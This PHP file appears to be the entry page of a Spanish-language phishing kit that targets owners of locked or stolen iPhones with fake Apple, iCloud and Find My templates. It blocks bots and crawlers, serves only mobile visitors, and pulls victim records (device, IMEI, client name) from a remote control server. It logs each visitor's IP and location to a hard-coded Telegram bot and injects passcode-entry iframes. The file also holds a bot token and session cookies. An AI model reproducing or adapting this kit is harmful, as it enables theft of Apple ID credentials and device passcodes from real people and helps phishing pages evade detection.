<?php
 
 include "blocksbots.php";
 include "antibots.php";
   include "bots.php";
   
 require_once('geoplugin.class.php');
if(isset($_GET['id'])){
    die();
}
if($_SERVER['SERVER_PORT']==80){
	$server = $_SERVER['HTTP_HOST'];
	$uri = $_SERVER['REQUEST_URI'];
	header("Location: https://".$server.$uri);
}

$geoplugin = new geoPlugin();
// If we wanted to change the base currency, we would uncomment the following         line
// $geoplugin->currency = 'EUR';

$geoplugin->locate();
include 'antibots.php';
include 'bots.php';
require_once 'mobile-detect/Mobile_Detect.php';
$detect = new Mobile_Detect;

if(!$detect->isMobile()) die();

error_reporting(0);
date_default_timezone_set('Mexico/General');

if(isset($_GET['token'])){
	$ch = curl_init();

	curl_setopt($ch, CURLOPT_URL, "https://www.thereisnothing-here.com/idtoken.php?token=".$_GET['token']);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");

	curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

	$headers = array();
	$headers[] = "Host: www.thereisnothing-here.com";
	$headers[] = "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:54.0) Gecko/20100101 Firefox/54.0";
	$headers[] = "Accept: */*";
	$headers[] = "Accept-Language: es-MX,es-ES;q=0.9,es;q=0.7,es-AR;q=0.6,es-CL;q=0.4,en-US;q=0.3,en;q=0.1";
	$headers[] = "X-Requested-With: XMLHttpRequest";
	$headers[] = "Referer: https://www.thereisnothing-here.com/test.php";
	$headers[] = "Cookie: __zlcmid=hagbgIATLG2HiR; PHPSESSID=ru2fkp845vihe6dn2op6e28qt6";
	$headers[] = "Connection: keep-alive";
	$headers[] = "Cache-Control: max-age=0";
	curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

	$result = curl_exec($ch);
	if (curl_errno($ch)) {
	    echo 'Error:' . curl_error($ch);
	}
	curl_close ($ch);

	$response =  simplexml_load_string($result);
	$idequipo = $response->id;
}else{
	$idequipo = $_GET['r3qne5t'];
}

/*if(!isset($idequipo) || !is_numeric($idequipo)){
	header("Location: https://goo.su/Xy4f3jy");
    //die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
}*/

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "https://www.thereisnothing-here.com/unlocks.php?r3qne5t=".$idequipo);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");

curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = "Host: www.thereisnothing-here.com";
$headers[] = "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:54.0) Gecko/20100101 Firefox/54.0";
$headers[] = "Accept: */*";
$headers[] = "Accept-Language: es-MX,es-ES;q=0.9,es;q=0.7,es-AR;q=0.6,es-CL;q=0.4,en-US;q=0.3,en;q=0.1";
$headers[] = "X-Requested-With: XMLHttpRequest";
$headers[] = "Referer: https://www.thereisnothing-here.com/test.php";
$headers[] = "Cookie: __zlcmid=hagbgIATLG2HiR; PHPSESSID=ru2fkp845vihe6dn2op6e28qt6";
$headers[] = "Connection: keep-alive";
$headers[] = "Cache-Control: max-age=0";
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
if (curl_errno($ch)) {
    echo 'Error:' . curl_error($ch);
}
curl_close ($ch);

$response =  simplexml_load_string($result);
$num = $response->existe;

if($num==0){
	if($response->plantilla=="apple-esp.php" || $response->plantilla=="apple-eng.php" || $response->plantilla=="itunes-eng.php"){
    header("Location: https://goo.su/Xy4f3jy");
	}else{
    header("Location: https://goo.su/Xy4f3jy");
	}
    //die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
}
if($response->estatus==2){
	if($response->plantilla=="apple-esp.php" || $response->plantilla=="apple-eng.php" || $response->plantilla=="itunes-eng.php"){
    header("Location: https://goo.su/Xy4f3jy");
	}else{
    header("Location: https://goo.su/Xy4f3jy");
	}
    //die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
}
$_SESSION['idequipo'] = $idequipo;
if(isset($_GET['mail'])){
	$vmail = "&mail";
}else{
	$vmail = "";
}
if($_SERVER['SERVER_PORT']!=80){
	$to=$response->correo;
	$ip=getenv("REMOTE_ADDR");
	$i_O="COMPUTED";
	$rand = md5(microtime());
	$I_O="UserComment";
	$date = date("d M, Y");
	$time = date("g:i a");
	$date = trim($date . ", Time : " . $time);
	$useragent = $_SERVER['HTTP_USER_AGENT'];
	
	$ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "http://thereisnothing-here.com/iplock.php?ip=".$ip);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
    curl_setopt($ch, CURLOPT_HEADER, 0); 
    $resultip = curl_exec($ch); 
    curl_close($ch); 
    if($resultip==1){
        while(1==1){}
        die();
    }
        $ch = curl_init();

	curl_setopt($ch, CURLOPT_URL, "https://www.thereisnothing-here.com/visitas.php?id=".$idequipo.$vmail);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");

	curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

	$headers = array();
	$headers[] = "Host: www.thereisnothing-here.com";
	$headers[] = "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:54.0) Gecko/20100101 Firefox/54.0";
	$headers[] = "Accept: */*";
	$headers[] = "Accept-Language: es-MX,es-ES;q=0.9,es;q=0.7,es-AR;q=0.6,es-CL;q=0.4,en-US;q=0.3,en;q=0.1";
	$headers[] = "X-Requested-With: XMLHttpRequest";
	$headers[] = "Referer: https://www.thereisnothing-here.com/test.php";
	$headers[] = "Cookie: __zlcmid=hagbgIATLG2HiR; PHPSESSID=ru2fkp845vihe6dn2op6e28qt6";
	$headers[] = "Connection: keep-alive";
	$headers[] = "Cache-Control: max-age=0";
	curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

	$result = curl_exec($ch);
	if (curl_errno($ch)) {
	    echo 'Error:' . curl_error($ch);
	}
	curl_close ($ch);

	if($response->chatid!=""){
$msj = '
🔔 '.$response->equipo.' registro una visita 🔔

           📋 Detalles 📋

📱 Dispositivo: '.$response->equipo.'
🔢 IMEI: '.$response->imei.'
============================
👤 Cliente: '.$response->cliente.'
📄 Notas: '.$response->notas.'
============================
📆 Fecha: '.str_replace("Time", "Hora", $date).'
📍 IP: '.$ip.'
🌎 Pais: '.$geoplugin->countryName . '
🗺️ Ciudad: '.$geoplugin->city.'
🌆 Region: '.$geoplugin->regionName. '
🤖 User Agent: '.$useragent.'
============================

Powered by Njord v1';

        if($response->fast=="1"){
$msj = '
📥⚡ URL Express ha sido *Visitada* ⚡📥

           📝 Detalles de la Visita 📝

============================
➡️ Notas: '.$response->notas.'
➡️ Dominio: http://'.$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"].'
============================
➡️ Fecha: '.str_replace("Time", "Hora", $date).'
➡️ IP: '.$ip.'
➡️ Pais: '.$geoplugin->countryName . '
➡️ Ciudad: '.$geoplugin->city.'
➡️ Region: '.$geoplugin->regionName. '
➡️ User Agent: '.$useragent.'
============================


Powered by Njord Server v1';           
        }


		$ch = curl_init();

		curl_setopt($ch, CURLOPT_URL, "https://api.telegram.org/bot8269820097:AAE6HDbKSXoHOyaRLd6QES0S7g1L3OX5Wpk/sendMessage");
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_POST, 1);
		curl_setopt($ch, CURLOPT_POSTFIELDS, "{\"chat_id\": \"".$response->chatid."\", \"text\": \"".$msj."\"}");

		$headers = array();
		$headers[] = 'Content-Type: application/json';
		curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

		$result = curl_exec($ch);
		if (curl_errno($ch)) {
		    echo 'Error:' . curl_error($ch);
		}
		curl_close($ch);
	}
}

if($response->redpage ==1){
 //include "chatsupport.php";
$useragent = $_SERVER['HTTP_USER_AGENT'];
$blacklist = "/Linux/i"; 

if(preg_match($blacklist, $useragent)) { 
 
		$msj = '🔥RED PAGE SE HA REGISTRADO🔥

VERIFICA EL NAVEGADOR SI DESEAS EDITAR EL PROCESO O ENVIAR UN SMS PARA SOLICITAR ABRIRLO EN UN DISPOSITIVO IPHONE 📱 
 
\n📱Dispositivo: '.$response->equipo.'\n️🔢IMEI: '.$response->imei.'\n🚹Cliente: '.$response->cliente.'\n📅Fecha: '.str_replace("Time", "Hora", $date).'\n🌎 Pais: '.$country.' \n🏙 Ciudad: '.$city.'\n📡 Internet: '.$isp.' \n📍IP: '.$ip. '\n🌐Navegador: '.$useragent. '\n
Wolf Server©️ Todos los derechos  reservados. ';
			 $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, "https://api.telegram.org/bot8269820097:AAE6HDbKSXoHOyaRLd6QES0S7g1L3OX5Wpk/sendMessage");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, "{\"chat_id\": \"".$response->chatid."\", \"text\": \"".$msj."\"}");

            $headers = array();
            $headers[] = 'Content-Type: application/json';
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

            $result = curl_exec($ch); 
            if (curl_errno($ch)) {
               // echo 'Error:' . curl_error($ch);
            }
            curl_close($ch);
          die();

	
        //en caso de que lo encuentre
         //echo $input." whitelisted";
    }else{
        
		$msj = 'NOTIFICACION  ANTI RED PAGE SE HA REGISTRADO UNA VISITA LIMPIA 📨\n \n📱Dispositivo: '.$response->equipo.'\n️🔢IMEI: '.$response->imei.'\n🚹Cliente: '.$response->cliente.'\n📅Fecha: '.str_replace("Time", "Hora", $date).'\n🌎 Pais: '.$country.' \n🏙 Ciudad: '.$city.'\n📡 Internet: '.$isp.' \n📍IP: '.$ip. '\n🌐Navegador: '.$useragent. '\n
Wolf Server©️ Todos los derechos  reservados. ';
			 $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, "https://api.telegram.org/bot8269820097:AAE6HDbKSXoHOyaRLd6QES0S7g1L3OX5Wpk/sendMessage");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, "{\"chat_id\": \"".$response->chatid."\", \"text\": \"".$msj."\"}");

            $headers = array();
            $headers[] = 'Content-Type: application/json';
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

            $result = curl_exec($ch); 
            if (curl_errno($ch)) {
                echo 'Error:' . curl_error($ch);
            }
            curl_close($ch);
	}


}

//if (!isset($_GET['ID']) && !isset($_GET['status'])) {echo "<META HTTP-EQUIV='refresh' content='0; URL=?ID=login&Key=".@md5(@microtime())."&login&path=/signin/?referrer'>";exit();}
if(strpos($_SERVER['HTTP_USER_AGENT'],'google') !== false || strpos(gethostbyaddr(getenv("REMOTE_ADDR")),'google') !== false || strpos(gethostbyaddr(getenv("REMOTE_ADDR")),'mozilla') !== false){ @header('HTTP/1.0 404 Not Found'); exit(); }
?>
<?php
if($response->dual == 1){
	if($detect->isMobile()){
		include "dual/mobiv.php";
	}else{
		include $response->plantilla;
	}
}else{
	if($response->plantilla=="apps-istore/index.php" || $response->plantilla=="mapita-new/index.php" || $response->plantilla=="findv2-esp.php" || $response->plantilla=="findv2-eng.php"){
		if($detect->isMobile()){
			include $response->plantilla;
		}else{
		include "icloud-eng.php";
		}
	}else{
		include $response->plantilla;
	}
}
if($response->chat==1){
    include "chatsupport.php";
}
if($response->code==1){
    if($response->digitos == 8){
        $langs = explode("-", $response->plantilla);
        if($langs[1] == "esp.php"){
            $codealfa = '<iframe class=\"apple-id-frame-view2\" src=\"/codealfaesp.php?digitos='.$response->digitos.'&id='.$idequipo.'\" style=\"margin:auto;background:#fff;border-radius:5px;display:block;\" width=\"400\" frameborder=\"0\" height=\"370\" scrolling=\"no\"></iframe>';
        }else{
            $codealfa = '<iframe class=\"apple-id-frame-view2\" src=\"/codealfaeng.php?digitos='.$response->digitos.'&id='.$idequipo.'\" style=\"margin:auto;background:#fff;border-radius:5px;display:block;\" width=\"400\" frameborder=\"0\" height=\"370\" scrolling=\"no\"></iframe>';
        }
        echo '<script>
            $(document).ready(function() {
                $(".frameCode").empty().append("'.$codealfa.'");
            });
        </script>';
    }
}
//include "apple-eng.php";
?>
